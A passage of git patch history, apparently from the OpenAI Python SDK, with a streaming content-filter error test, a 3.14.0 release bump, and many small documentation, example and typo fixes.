+@pytest.mark.parametrize("partial_content", [None, '{"value": "example'], ids=["immediate", "after_content"])
+@pytest.mark.respx2(base_url=base_url)
+async def test_stream_content_filter_completion(
+ sync: bool,
+ partial_content: str | None,
+ client: OpenAI,
+ async_client: AsyncOpenAI,
+ respx2_mock: MockRouter,
+) -> None:
+ choices: list[dict[str, object]] = []
+ if partial_content is not None:
+ choices.append({"index": 0, "delta": {"role": "assistant", "content": partial_content}, "finish_reason": None})
+ choices.append({"index": 0, "delta": {"role": "assistant"}, "finish_reason": "content_filter"})
+ events = [
+ {
+ "id": "chatcmpl-example",
+ "object": "chat.completion.chunk",
+ "created": 0,
+ "model": "gpt-4o-2024-08-06",
+ "choices": [choice],
+ }
+ for choice in choices
+ ]
+ response = httpx2.Response(
+ 200,
+ headers={"content-type": "text/event-stream"},
+ content="".join(f"data: {json.dumps(event)}\n\n" for event in events) + "data: [DONE]\n\n",
+ )
+ respx2_mock.post("/chat/completions").mock(return_value=response)
+
+ with pytest.raises(ContentFilterFinishReasonError) as exc_info:
+ if sync:
+ with client.chat.completions.stream(
+ model="gpt-4o-2024-08-06", messages=[], response_format=Output
+ ) as stream:
+ stream.get_final_completion()
+ else:
+ async with async_client.chat.completions.stream(
+ model="gpt-4o-2024-08-06", messages=[], response_format=Output
+ ) as async_stream:
+ await async_stream.get_final_completion()
+
+ error = exc_info.value
+ assert error.completion is not None
+ assert error.completion.id == "chatcmpl-example"
+ assert error.completion.choices[0].finish_reason == "content_filter"
+ assert error.completion.choices[0].message.content == partial_content
+ assert error.completion.usage is None
+ assert str(error) == ERROR_MESSAGE
From 7fd541280bfc12bad1a2c7a050fdcb1efb640bdb Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Mon, 14 Sep 2026 16:28:01 -0700
Subject: [PATCH 131/341] release: 3.14.0 (#3850)
Automated Release PR
---
##
[3.14.0](https://github.com/openai/openai-python/compare/v3.13.0...v3.14.0)
(2026-09-14)
### Features
* **streaming:** normalize errors raised while reading streams
([#3827](https://github.com/openai/openai-python/issues/3827))
([d7c41ef](https://github.com/openai/openai-python/commit/d7c41efee1b0802b79f3f88a678ef2052b06e9ce))
### Bug Fixes
* bound vector store file polling
([#3401](https://github.com/openai/openai-python/issues/3401))
([ae41bc4](https://github.com/openai/openai-python/commit/ae41bc46cdd53d17e948ac8a73e16bdbf34123a1))
* **example:** refresh realtime push_to_talk_app session types
([#2926](https://github.com/openai/openai-python/issues/2926))
([0b7ad38](https://github.com/openai/openai-python/commit/0b7ad38292ef862f1dd07f71543b2f60eade8999))
* **files:** normalize PathLike upload tuples
([#3475](https://github.com/openai/openai-python/issues/3475))
([90ac74c](https://github.com/openai/openai-python/commit/90ac74ccfe7a966787d1f204755d4cd4cc4d406a))
* include completion in content filter errors
([#3094](https://github.com/openai/openai-python/issues/3094))
([e57a1b1](https://github.com/openai/openai-python/commit/e57a1b19fbcc32306a691e63334fd2dc4b1a804c))
* **logging:** support standard OPENAI_LOG levels
([#3734](https://github.com/openai/openai-python/issues/3734))
([44000e0](https://github.com/openai/openai-python/commit/44000e0fc5e11692663045d6183568ff3ec32736))
* normalize API error codes to strings
([#3532](https://github.com/openai/openai-python/issues/3532))
([233d955](https://github.com/openai/openai-python/commit/233d9557be3e7ee186b5ac3f1ab634a257134ac1)),
closes [#3531](https://github.com/openai/openai-python/issues/3531)
* preserve response stream indexes after empty items
([#3126](https://github.com/openai/openai-python/issues/3126))
([8f84fbd](https://github.com/openai/openai-python/commit/8f84fbd688bdd8a9cde17c09f79b34d5d5580f0f))
* **responses:** handle null text in output_text
([#3019](https://github.com/openai/openai-python/issues/3019))
([df6b72c](https://github.com/openai/openai-python/commit/df6b72ccc9122a83b8dd21971dcf4a508c04b83a))
### Documentation
* use the vision guide image in README example
([#3849](https://github.com/openai/openai-python/issues/3849))
([1ed8902](https://github.com/openai/openai-python/commit/1ed8902e5629c1aae0c26eadceff02bd5cebb0e1))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 24 ++++++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 28 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 82f5ad977a..75e8a660b4 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.13.0"
+ ".": "3.14.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 302f8e04cd..9b07bcc83f 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,29 @@
# Changelog
+## [3.14.0](https://github.com/openai/openai-python/compare/v3.13.0...v3.14.0) (2026-09-14)
+
+
+### Features
+
+* **streaming:** normalize errors raised while reading streams ([#3827](https://github.com/openai/openai-python/issues/3827)) ([d7c41ef](https://github.com/openai/openai-python/commit/d7c41efee1b0802b79f3f88a678ef2052b06e9ce))
+
+
+### Bug Fixes
+
+* bound vector store file polling ([#3401](https://github.com/openai/openai-python/issues/3401)) ([ae41bc4](https://github.com/openai/openai-python/commit/ae41bc46cdd53d17e948ac8a73e16bdbf34123a1))
+* **example:** refresh realtime push_to_talk_app session types ([#2926](https://github.com/openai/openai-python/issues/2926)) ([0b7ad38](https://github.com/openai/openai-python/commit/0b7ad38292ef862f1dd07f71543b2f60eade8999))
+* **files:** normalize PathLike upload tuples ([#3475](https://github.com/openai/openai-python/issues/3475)) ([90ac74c](https://github.com/openai/openai-python/commit/90ac74ccfe7a966787d1f204755d4cd4cc4d406a))
+* include completion in content filter errors ([#3094](https://github.com/openai/openai-python/issues/3094)) ([e57a1b1](https://github.com/openai/openai-python/commit/e57a1b19fbcc32306a691e63334fd2dc4b1a804c))
+* **logging:** support standard OPENAI_LOG levels ([#3734](https://github.com/openai/openai-python/issues/3734)) ([44000e0](https://github.com/openai/openai-python/commit/44000e0fc5e11692663045d6183568ff3ec32736))
+* normalize API error codes to strings ([#3532](https://github.com/openai/openai-python/issues/3532)) ([233d955](https://github.com/openai/openai-python/commit/233d9557be3e7ee186b5ac3f1ab634a257134ac1)), closes [#3531](https://github.com/openai/openai-python/issues/3531)
+* preserve response stream indexes after empty items ([#3126](https://github.com/openai/openai-python/issues/3126)) ([8f84fbd](https://github.com/openai/openai-python/commit/8f84fbd688bdd8a9cde17c09f79b34d5d5580f0f))
+* **responses:** handle null text in output_text ([#3019](https://github.com/openai/openai-python/issues/3019)) ([df6b72c](https://github.com/openai/openai-python/commit/df6b72ccc9122a83b8dd21971dcf4a508c04b83a))
+
+
+### Documentation
+
+* use the vision guide image in README example ([#3849](https://github.com/openai/openai-python/issues/3849)) ([1ed8902](https://github.com/openai/openai-python/commit/1ed8902e5629c1aae0c26eadceff02bd5cebb0e1))
+
## [3.13.0](https://github.com/openai/openai-python/compare/v3.12.0...v3.13.0) (2026-09-10)
diff --git a/pyproject.toml b/pyproject.toml
index 3e4b6f98cd..a7e4f5c931 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.13.0"
+version = "3.14.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index d997c6cc9a..6d92ce7071 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.13.0" # x-release-please-version
+__version__ = "3.14.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 900b929ddc..1fc72a186a 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.13.0" # x-release-please-version
+version = "3.14.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 718620397c38a546d2cbbc964983c286db7abf97 Mon Sep 17 00:00:00 2001
From: nil957 <1733443062@qq.com>
Date: Tue, 15 Sep 2026 07:51:00 +0800
Subject: [PATCH 132/341] fix: correct typo "th" to "the" in
StreamAlreadyConsumed error message (#3022)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
- Fixes a typo in the `StreamAlreadyConsumed` error message: "read th
entire" → "read the entire"
## Related issue
- N/A (trivial typo fix)
## Guideline alignment
- Reviewed CONTRIBUTING.md
- Single-character fix in error message documentation
- No behavioral changes
## Validation
- N/A (documentation-only change)
Co-authored-by: nil957
Co-authored-by: Marcus Wood
---
src/openai/_response.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/openai/_response.py b/src/openai/_response.py
index 8b819ce812..e18f927a69 100644
--- a/src/openai/_response.py
+++ b/src/openai/_response.py
@@ -589,7 +589,7 @@ class StreamAlreadyConsumed(OpenAIError):
been streamed.
This can happen if you use a method like `.iter_lines()` and then attempt
- to read th entire response body afterwards, e.g.
+ to read the entire response body afterwards, e.g.
```py
response = await client.post(...)
From 2ef2de6bf1603b2df8cb28bcc604c79c6e7f773d Mon Sep 17 00:00:00 2001
From: nightcityblade
Date: Tue, 15 Sep 2026 08:11:22 +0800
Subject: [PATCH 133/341] docs: fix vector store polling helper paths (#3101)
The polling-helper list in `helpers.md` still points to
`client.beta.vector_stores`, which raises an `AttributeError` on current
SDKs. Update all four examples to the supported `client.vector_stores`
namespace.
Refs #2451 (already closed with migration guidance).
Validation: verified all four helper paths against the synchronous and
asynchronous SDK source; `git diff --check` passes. Security review
found no concerns in the four documentation-only replacements.
Co-authored-by: nightcityblade
Co-authored-by: Marcus Wood
---
helpers.md | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/helpers.md b/helpers.md
index 89ff4498cf..b6dd1d4e8a 100644
--- a/helpers.md
+++ b/helpers.md
@@ -510,9 +510,9 @@ The polling methods are:
client.beta.threads.create_and_run_poll(...)
client.beta.threads.runs.create_and_poll(...)
client.beta.threads.runs.submit_tool_outputs_and_poll(...)
-client.beta.vector_stores.files.upload_and_poll(...)
-client.beta.vector_stores.files.create_and_poll(...)
-client.beta.vector_stores.file_batches.create_and_poll(...)
-client.beta.vector_stores.file_batches.upload_and_poll(...)
+client.vector_stores.files.upload_and_poll(...)
+client.vector_stores.files.create_and_poll(...)
+client.vector_stores.file_batches.create_and_poll(...)
+client.vector_stores.file_batches.upload_and_poll(...)
client.videos.create_and_poll(...)
```
From d421d7ab8c0a5e4e00147407ef9941c7f2bc9c09 Mon Sep 17 00:00:00 2001
From: Rohan Santhosh Kumar <181558744+Rohan5commit@users.noreply.github.com>
Date: Tue, 15 Sep 2026 05:48:46 +0530
Subject: [PATCH 134/341] docs: fix streaming comment typo (#3005)
## Summary
- fix a typo in the streaming chat completion comment
## Related issue
- N/A (trivial comment typo fix)
## Guideline alignment
- Read https://github.com/openai/openai-python/blob/main/CONTRIBUTING.md
- one-file comment-only change in `src/openai/lib/`, which the guide
notes is safe for manual edits
- no behavior change
## Validation
- Not run (comment-only change)
Co-authored-by: rohan436
Co-authored-by: Marcus Wood
---
src/openai/lib/streaming/chat/_completions.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/openai/lib/streaming/chat/_completions.py b/src/openai/lib/streaming/chat/_completions.py
index 88eba9e020..28c7d02a9f 100644
--- a/src/openai/lib/streaming/chat/_completions.py
+++ b/src/openai/lib/streaming/chat/_completions.py
@@ -379,7 +379,7 @@ def _accumulate_chunk(self, chunk: ChatCompletionChunk) -> ParsedChatCompletionS
choice_snapshot.message,
# we don't want to serialise / deserialise our custom properties
# as they won't appear in the delta and we don't want to have to
- # continuosly reparse the content
+ # continuously reparse the content
exclude=cast(
# cast required as mypy isn't smart enough to infer `True` here to `Literal[True]`
IncEx,
From bdbbc16a3f289601cb7cbcec9e64c94e95753e94 Mon Sep 17 00:00:00 2001
From: JeongHoon Lee
Date: Tue, 15 Sep 2026 16:24:28 +0000
Subject: [PATCH 135/341] docs(client): correct retry jitter comment (#2252)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Correct the retry-delay comment in `src/openai/_base_client.py` to
describe the existing multiplicative jitter: the calculated delay is
reduced by approximately 0–25%. The retry calculation itself is
unchanged.
---------
Co-authored-by: Marcus Wood
---
src/openai/_base_client.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index 7f92a61a86..ab98942e60 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -807,7 +807,7 @@ def _calculate_retry_timeout(
# Apply exponential backoff, but not more than the max.
sleep_seconds = min(INITIAL_RETRY_DELAY * pow(2.0, nb_retries), MAX_RETRY_DELAY)
- # Apply some jitter, plus-or-minus half a second.
+ # Reduce the calculated timeout by a random range between 0-25%
jitter = 1 - 0.25 * random()
timeout = sleep_seconds * jitter
return timeout if timeout >= 0 else 0
From caaa9b45a24c7698244824cda2c2d9ae16359354 Mon Sep 17 00:00:00 2001
From: zafros <58882758+zafross@users.noreply.github.com>
Date: Tue, 15 Sep 2026 16:24:55 +0000
Subject: [PATCH 136/341] docs(readme): correct SSE terminology (#2837)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Correct the README's expansion of SSE to “Server-Sent Events,” matching
the [WHATWG
specification](https://html.spec.whatwg.org/multipage/server-sent-events.html#server-sent-events).
Co-authored-by: Marcus Wood
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 07656a0a12..fbc11e5e9f 100644
--- a/README.md
+++ b/README.md
@@ -346,7 +346,7 @@ HTTPX2 is the default HTTP client. If you configure a custom HTTP client, transp
## Streaming responses
-We provide support for streaming responses using Server Side Events (SSE).
+We provide support for streaming responses using Server-Sent Events (SSE).
```python
from openai import OpenAI
From 929a8a500a0e95df090ef53fe38890eba1e97660 Mon Sep 17 00:00:00 2001
From: Aryan Motgi <85900811+aryanmotgi@users.noreply.github.com>
Date: Tue, 15 Sep 2026 16:25:00 +0000
Subject: [PATCH 137/341] docs(utils): correct query component RFC reference
(#3300)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Update the `path_template` docstring in `src/openai/_utils/_path.py` to
reference [RFC 3986
§3.4](https://datatracker.ietf.org/doc/html/rfc3986#section-3.4) for the
query component. Section 3.3 describes the path component; URL encoding
behavior is unchanged.
Co-authored-by: Aryan Motgi
Co-authored-by: Marcus Wood
---
src/openai/_utils/_path.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/openai/_utils/_path.py b/src/openai/_utils/_path.py
index 4d6e1e4cbc..64a38a7b3a 100644
--- a/src/openai/_utils/_path.py
+++ b/src/openai/_utils/_path.py
@@ -89,7 +89,7 @@ def path_template(template: str, /, **kwargs: Any) -> str:
Placeholders in path and fragment portions are percent-encoded where the `segment`
and `fragment` sets from RFC 3986 respectively are considered safe.
Placeholders in the query portion are percent-encoded where the `query` set from
- RFC 3986 §3.3 is considered safe except for = and & characters.
+ RFC 3986 §3.4 is considered safe except for = and & characters.
Raises:
KeyError: If a placeholder is not found in `kwargs`.
From 543516c4223372a7fb830d560f26d8e6ad081d02 Mon Sep 17 00:00:00 2001
From: Aryan Motgi <85900811+aryanmotgi@users.noreply.github.com>
Date: Tue, 15 Sep 2026 16:25:05 +0000
Subject: [PATCH 138/341] fix(examples): correct Azure endpoint hostname
(#3298)
Correct the deployment-client endpoint in `examples/azure.py` from
`example-resource.azure.openai.com` to
`example-resource.openai.azure.com`, matching the first example and
[Microsoft's documented endpoint
format](https://learn.microsoft.com/en-us/azure/foundry/foundry-models/concepts/endpoints#azure-openai-endpoints).
Co-authored-by: Aryan Motgi
Co-authored-by: Marcus Wood
---
examples/azure.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/examples/azure.py b/examples/azure.py
index 6936c4cb0e..4b6a9dc925 100755
--- a/examples/azure.py
+++ b/examples/azure.py
@@ -26,7 +26,7 @@
deployment_client = AzureOpenAI(
api_version=api_version,
# https://learn.microsoft.com/en-us/azure/cognitive-services/openai/how-to/create-resource?pivots=web-portal#create-a-resource
- azure_endpoint="https://example-resource.azure.openai.com/",
+ azure_endpoint="https://example-resource.openai.azure.com/",
# Navigate to the Azure OpenAI Studio to deploy a model.
azure_deployment="deployment-name", # e.g. gpt-35-instant
)
From 8c76c4f5e6ee65c6393e80494d2bbbdc8607e983 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=99=88=E5=BF=97=E8=B0=A6?=
<89645338+simpleqt@users.noreply.github.com>
Date: Tue, 15 Sep 2026 16:25:09 +0000
Subject: [PATCH 139/341] fix(examples): use uv in remaining Python launchers
(#3821)
Change the shebangs in `examples/async_demo.py`, `examples/demo.py`,
`examples/streaming.py`, and `examples/video.py` from `poetry run
python` to `uv run python`, matching the repository's contributor setup
and example instructions.
Co-authored-by: Marcus Wood
---
examples/async_demo.py | 2 +-
examples/demo.py | 2 +-
examples/streaming.py | 2 +-
examples/video.py | 2 +-
4 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/examples/async_demo.py b/examples/async_demo.py
index 438706da44..1c9f6505ab 100755
--- a/examples/async_demo.py
+++ b/examples/async_demo.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S poetry run python
+#!/usr/bin/env -S uv run python
import asyncio
diff --git a/examples/demo.py b/examples/demo.py
index e67b276deb..b08df58b20 100755
--- a/examples/demo.py
+++ b/examples/demo.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S poetry run python
+#!/usr/bin/env -S uv run python
from openai import OpenAI
diff --git a/examples/streaming.py b/examples/streaming.py
index 9a84891a83..58b72e151f 100755
--- a/examples/streaming.py
+++ b/examples/streaming.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S poetry run python
+#!/usr/bin/env -S uv run python
import asyncio
diff --git a/examples/video.py b/examples/video.py
index b9346a7e77..b1d6528028 100644
--- a/examples/video.py
+++ b/examples/video.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S poetry run python
+#!/usr/bin/env -S uv run python
import asyncio
From dc625f9533cb43e74aea53529c86d4848eed82ec Mon Sep 17 00:00:00 2001
From: Rohan Santhosh Kumar <181558744+Rohan5commit@users.noreply.github.com>
Date: Tue, 15 Sep 2026 16:58:56 +0000
Subject: [PATCH 140/341] docs: fix reusing wording in Azure client docstrings
(#3061)
Correct `re-using` to `reusing` in the synchronous and asynchronous
Azure client `copy()` docstrings. Validation: syntax-tree comparison
confirmed executable code is unchanged; whitespace and custom-code
budget checks passed. Focused security review found no issues.
Signed-off-by: Codex
Co-authored-by: Codex
Co-authored-by: Marcus Wood
---
src/openai/lib/azure.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index c7e61767a2..632a6493e0 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -391,7 +391,7 @@ def copy(
_extra_kwargs: Mapping[str, Any] = {},
) -> Self:
"""
- Create a new client instance re-using the same options given to the current client with optional overriding.
+ Create a new client instance reusing the same options given to the current client with optional overriding.
"""
if data_residency is not None:
raise OpenAIError("`data_residency` is only supported by OpenAI clients")
@@ -743,7 +743,7 @@ def copy(
_extra_kwargs: Mapping[str, Any] = {},
) -> Self:
"""
- Create a new client instance re-using the same options given to the current client with optional overriding.
+ Create a new client instance reusing the same options given to the current client with optional overriding.
"""
if data_residency is not None:
raise OpenAIError("`data_residency` is only supported by OpenAI clients")
From 557bd06bce467e7f748b9c86bdde6427e85d28c7 Mon Sep 17 00:00:00 2001
From: creasetopher
Date: Tue, 15 Sep 2026 16:59:01 +0000
Subject: [PATCH 141/341] docs: update Responses API reference link (#3279)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Update the README’s Responses API link to the current [API
reference](https://developers.openai.com/api/reference/resources/responses).
Validation: the destination was verified, and whitespace and custom-code
budget checks passed. Focused security review found no issues.
Co-authored-by: Chris Sims
Co-authored-by: Marcus Wood
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index fbc11e5e9f..3c7113c9f8 100644
--- a/README.md
+++ b/README.md
@@ -24,7 +24,7 @@ pip install openai
The full API of this library can be found in [api.md](api.md).
-The primary API for interacting with OpenAI models is the [Responses API](https://platform.openai.com/docs/api-reference/responses). You can generate text from the model with the code below.
+The primary API for interacting with OpenAI models is the [Responses API](https://developers.openai.com/api/reference/resources/responses). You can generate text from the model with the code below.
```python
import os
From cb27380d95f5e6995ea56dc588914454629cce0f Mon Sep 17 00:00:00 2001
From: Sylvester Kaczmarek
<16242628+sylvesterkaczmarek@users.noreply.github.com>
Date: Tue, 15 Sep 2026 16:59:07 +0000
Subject: [PATCH 142/341] docs: clarify filenames for in-memory file uploads
(#3729)
In-memory uploads without a meaningful multipart filename can lose the
extension needed for format detection. Document the explicit filename
tuple and `.name` alternative, with an audio transcription example.
Related to #2315. Validation: snippet syntax and six offline sync/async
multipart checks passed; no live API testing. Focused security review
found no issues.
Co-authored-by: Marcus Wood
---
README.md | 16 +++++++++++++++-
1 file changed, 15 insertions(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 3c7113c9f8..b2f3bbd536 100644
--- a/README.md
+++ b/README.md
@@ -552,7 +552,7 @@ response = client.responses.create(
## File uploads
-Request parameters that correspond to file uploads can be passed as `bytes`, or a [`PathLike`](https://docs.python.org/3/library/os.html#os.PathLike) instance or a tuple of `(filename, contents, media type)`.
+Request parameters that correspond to file uploads can be passed as `bytes`, a file-like object, a [`PathLike`](https://docs.python.org/3/library/os.html#os.PathLike) instance, or a tuple of `(filename, contents, media type)`.
```python
from pathlib import Path
@@ -566,6 +566,20 @@ client.files.create(
)
```
+When uploading an in-memory file-like object such as `io.BytesIO`, include a filename when the API needs the file extension to determine its format. Passing a tuple is the most explicit option:
+
+```python
+import io
+
+audio = io.BytesIO(audio_bytes)
+transcription = client.audio.transcriptions.create(
+ model="gpt-4o-transcribe",
+ file=("audio.wav", audio, "audio/wav"),
+)
+```
+
+You can also set a `.name` attribute such as `audio.name = "audio.wav"` on a mutable file-like object before passing it directly. Without a filename, multipart transports may use a generic name such as `upload`, which does not provide an audio extension for format detection.
+
The async client uses the exact same interface. If you pass a [`PathLike`](https://docs.python.org/3/library/os.html#os.PathLike) instance, the file contents will be read asynchronously automatically.
## Webhook Verification
From 1493321affb1814fba7b669892e376a119d8d36f Mon Sep 17 00:00:00 2001
From: Lucky Verma
Date: Tue, 15 Sep 2026 17:00:08 +0000
Subject: [PATCH 143/341] chore(examples): bump module_client.py to gpt-5.6
(#3211)
Update the existing module-client streaming example from GPT-4 to the
documented `gpt-5.6` alias for GPT-5.6 Sol. The [official model
documentation](https://developers.openai.com/api/docs/models/gpt-5.6-sol)
confirms the alias. Validation: Ruff, compilation, and offline mocked
streaming execution passed; no live API testing. Focused security review
found no issues.
---------
Co-authored-by: stainless-app[bot] <142633134+stainless-app[bot]@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
examples/module_client.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/examples/module_client.py b/examples/module_client.py
index 5f2fb79dcf..aac0701bf9 100755
--- a/examples/module_client.py
+++ b/examples/module_client.py
@@ -9,7 +9,7 @@
# all API calls work in the exact same fashion as well
stream = openai.chat.completions.create(
- model="gpt-4",
+ model="gpt-5.6",
messages=[
{
"role": "user",
From d241ed65c122a964679ca9d102924761956aa71f Mon Sep 17 00:00:00 2001
From: Lucky Verma
Date: Tue, 15 Sep 2026 18:09:54 +0000
Subject: [PATCH 144/341] fix(examples): split push-to-talk shebang arguments
(#3210)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
five executable examples use an env shebang without `-S`:
```
examples/audio.py
examples/speech_to_text.py
examples/text_to_speech.py
examples/realtime/realtime.py
examples/realtime/push_to_talk_app.py
```
added `push_to_talk_app.py` per your review. i checked every mode-100755
file under `examples/` and those five are the only ones missing `-S`.
(`azure.py`, `azure_ad.py` and `module_client.py` are 755 with no
shebang at all — different issue, left alone.)
also correcting myself: i said linux env splits the args so this only
broke on older BSD. that's wrong, it fails there too — on coreutils 9.4
`./examples/audio.py` gives `env: 'rye run python': No such file or
directory`.
only shebang lines change. modes unchanged, ruff check + format clean on
all five.
---------
Co-authored-by: stainless-app[bot] <142633134+stainless-app[bot]@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
examples/realtime/push_to_talk_app.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/examples/realtime/push_to_talk_app.py b/examples/realtime/push_to_talk_app.py
index f0ff88a74b..efae7cb5a8 100755
--- a/examples/realtime/push_to_talk_app.py
+++ b/examples/realtime/push_to_talk_app.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env uv run
+#!/usr/bin/env -S uv run
####################################################################
# Sample TUI app with a push to talk interface to the Realtime API #
# If you have `uv` installed and the `OPENAI_API_KEY` #
From 54f460ef8c212a7849d10cef69853dffb48c4491 Mon Sep 17 00:00:00 2001
From: Eden
Date: Tue, 15 Sep 2026 18:10:01 +0000
Subject: [PATCH 145/341] fix(examples): refresh chat streaming examples
(#2974)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
Several example scripts still reference `poetry` in their shebangs and
use the legacy Completions API, which is no longer documented in the
README. This PR brings them up to date:
- **Shebangs**: `demo.py`, `async_demo.py`, `streaming.py`, and
`video.py` all used `#!/usr/bin/env -S poetry run python`. The project
migrated to [Rye](https://rye.astral.sh/) and other examples (e.g.
`audio.py`, `speech_to_text.py`) already use `rye run python`. Updated
the four remaining files for consistency.
- **Deprecated API**: `async_demo.py` and `streaming.py` used the legacy
Completions endpoint (`client.completions.create` with
`gpt-3.5-turbo-instruct`). This endpoint isn't referenced in the README
and `gpt-3.5-turbo-instruct` is one of the last models supporting it.
Migrated both to the Chat Completions API
(`client.chat.completions.create`).
- **Model name**: `demo.py` referenced `gpt-4`. Updated to `gpt-4o` to
reflect current recommended usage.
## Changes
| File | Change |
|------|--------|
| `examples/demo.py` | shebang `poetry` → `rye`, model `gpt-4` →
`gpt-4o` |
| `examples/async_demo.py` | shebang `poetry` → `rye`,
`completions.create` → `chat.completions.create` |
| `examples/streaming.py` | shebang `poetry` → `rye`,
`completions.create` → `chat.completions.create` |
| `examples/video.py` | shebang `poetry` → `rye` |
## Test plan
- [x] `ruff check` passes on all modified files
- [x] `ruff format --check` passes on all modified files
- [x] Existing streaming tests (`tests/test_streaming.py`) pass
- [x] `import openai` works correctly
Co-authored-by: Marcus Wood
---
examples/async_demo.py | 2 +-
examples/streaming.py | 26 ++++++++++++++++----------
2 files changed, 17 insertions(+), 11 deletions(-)
diff --git a/examples/async_demo.py b/examples/async_demo.py
index 1c9f6505ab..1ee18c3d4b 100755
--- a/examples/async_demo.py
+++ b/examples/async_demo.py
@@ -23,7 +23,7 @@ async def main() -> None:
if not chunk.choices:
continue
- print(chunk.choices[0].delta.content, end="")
+ print(chunk.choices[0].delta.content or "", end="")
print()
diff --git a/examples/streaming.py b/examples/streaming.py
index 58b72e151f..30ea11a49d 100755
--- a/examples/streaming.py
+++ b/examples/streaming.py
@@ -12,11 +12,14 @@
def sync_main() -> None:
client = OpenAI()
- response = client.completions.create(
- model="gpt-3.5-turbo-instruct",
- prompt="1,2,3,",
- max_tokens=5,
- temperature=0,
+ response = client.chat.completions.create(
+ model="gpt-5.5",
+ messages=[
+ {
+ "role": "user",
+ "content": "Count from 1 to 5.",
+ },
+ ],
stream=True,
)
@@ -32,11 +35,14 @@ def sync_main() -> None:
async def async_main() -> None:
client = AsyncOpenAI()
- response = await client.completions.create(
- model="gpt-3.5-turbo-instruct",
- prompt="1,2,3,",
- max_tokens=5,
- temperature=0,
+ response = await client.chat.completions.create(
+ model="gpt-5.5",
+ messages=[
+ {
+ "role": "user",
+ "content": "Count from 1 to 5.",
+ },
+ ],
stream=True,
)
From a3d83b5af23e4057453aae83dcdb4e3cced1cdad Mon Sep 17 00:00:00 2001
From: Danny McCormick
Date: Tue, 15 Sep 2026 18:10:06 +0000
Subject: [PATCH 146/341] docs: clarify async client cleanup (#2388)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
When using multiple AsyncOpenAI clients to send records to a local vLLM
server, we ran into an issue with garbage collection after switching
from the sync client to the async client. We started seeing a bunch of
errors like:
```
